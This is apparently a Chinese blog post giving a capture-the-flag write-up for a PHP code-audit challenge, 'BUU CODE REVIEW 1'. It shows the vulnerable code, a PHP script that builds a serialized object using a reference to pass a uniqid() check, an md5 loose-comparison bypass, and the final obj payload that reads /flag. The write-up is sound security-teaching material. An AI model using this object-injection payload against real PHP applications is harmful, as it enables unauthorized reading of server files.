首页 > 其他分享 >BUU CODE REVIEW 1

BUU CODE REVIEW 1

时间:2024-11-14 22:59:03浏览次数:1  
标签:CODE REVIEW BUU input POST echo correct

BUU CODE REVIEW 1

php 代码审计

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

BUU 类的析构函数中给出了 flag,因此尝试获取它的值。

<?php 
class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

$a=new BUU();
$a->input=&$a->correct;
echo serialize($a);

因为 uniqid() 函数基于当前时间返回值,因此取 correct 的地址确保 input 恒等于 correct

注意到进行了反序列化,因此在这部分中回显序列化后的值。

下面这部分用 bp 抓包,进行一个 md5 绕过。科学计数法绕过和数组绕过等均可。用 Repeater 重新上传添加了参数的请求包即可。

其中 obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

标签:CODE,REVIEW,BUU,input,POST,echo,correct
From: https://www.cnblogs.com/lbh2021/p/18547023

相关文章

  • Solution - Codeforces 1681E Labyrinth Adventures
    能够发现这个最短路的形态一定是从低层一层一层走到高层的。那么这就说明若起点终点对应层数为\(x,y\)。若\(x=y\)则直接算,就是曼哈顿距离。否则不妨钦定\(x<y\)(不满足就交换,不影响结果),那么层数\(z\in[x,y)\)的其中一个门肯定都会被经过。于是考虑把\(\operator......
  • Solution - Codeforces 1190C Tokitsukaze and Duel
    考虑到两人对应的操作是相同的,于是可以从对称的角度来思考。考虑到在先手做出操作后,后手一个较为特殊的操作是不做任何影响,也就是重复先手的操作。能够发现如果对于后手这不能必胜,那么他一定不会去产生影响,并又把这个局面留给先手,相当于是先后手的交换。对于先手又是同样的,因为......
  • Atcoder Beginner Contest 379 (A-F)
    AtcoderBeginnerContest379(A-F)题目链接A-Cyclic#include<bits/stdc++.h>usingnamespacestd;usingi64=longlong;voidShowball(){chara,b,c;cin>>a>>b>>c;cout<<b<<c<<a<<""<......
  • CodeCraft-21 and Codeforces Round 711 (Div. 2) F. Christmas Game【阶梯博弈、换根
    这道题目是比较经典的树上阶梯博弈。设一个点的深度是\(dep_i\),如果两个点\(i,j\)满足\(dep_i\not\equivdep_j\modk\),则两个点对答案的影响是完全独立的。我们可以把图拆分为\(k\)部分,并且按照原图中的祖先关系把新图连接为\(k\)棵树。对于一个点\(i\),在新图中的深度为\(dep_......
  • 整数二分查找 leetcode35. 搜索插入位置 leetcode704. 二分查找
    这两道题的本质是一样的,都是整数二分查找。题目给出的条件比较强,序列是严格单调递增的。但是我这个即使序列存在重复的元素也可以满足需求35.搜索插入位置classSolution{public:intsearchInsert(vector<int>&nums,inttarget){intsize=nums.size();......
  • leetcode 273. 整数转换英文表示 困难
    273.整数转换英文表示这道题并不难,但是特别麻烦我写的代码classSolution{public://转换个位数的英文stringbaseNumber(intnum){if(num==1)return"One";elseif(num==2)return"Two";elseif(num==3)return"Three"......
  • LeetCode刷题笔记9.9-9.15
    LeetCode刷题笔记9.9-9.15二叉树主要学两种遍历方式:层序遍历、递归遍历1)层序遍历BFS基本思想:逐层遍历元素,可以借助队列,先进先出,队首出元素的同时进该元素的左右节点(这也是最简单的实现方式)队列Q:1->出1进2,3(2,3)->出2进4(3,4)->出3进5,6(4,5,6)->出4(5,6)->出5(6)->出6(空)队列进......
  • [LeetCode] 2064. Minimized Maximum of Products Distributed to Any Store
    Youaregivenanintegernindicatingtherearenspecialtyretailstores.Therearemproducttypesofvaryingamounts,whicharegivenasa0-indexedintegerarrayquantities,wherequantities[i]representsthenumberofproductsoftheithproducttype......
  • Linux-vscode-c++-slambook2-库文件找不到路径
    Linux-vscode-c++-slambook2-库文件找不到路径分享所遇到的困难,填补这些坑洞,希望后来者能够如履平地。首先已经在c_cpp_properties.json中已经添加了相关的文件,"includePath":["${workspaceFolder}/**","/usr/include/eigen3"......
  • LeetCode 1103[分糖果II]
    题目链接LeetCode1103[分糖果II]详情实例提示题解思路定义容器vecRet,使每个元素值均为0,即代表每个孩子手上开始都是0个糖果定义iCount为默认的糖果数量,初始值为1逐个遍历容器,也就是开始给每个孩子分糖果获取容器当前元素值,即每个孩子当前的糖果数量iAt如果糖果......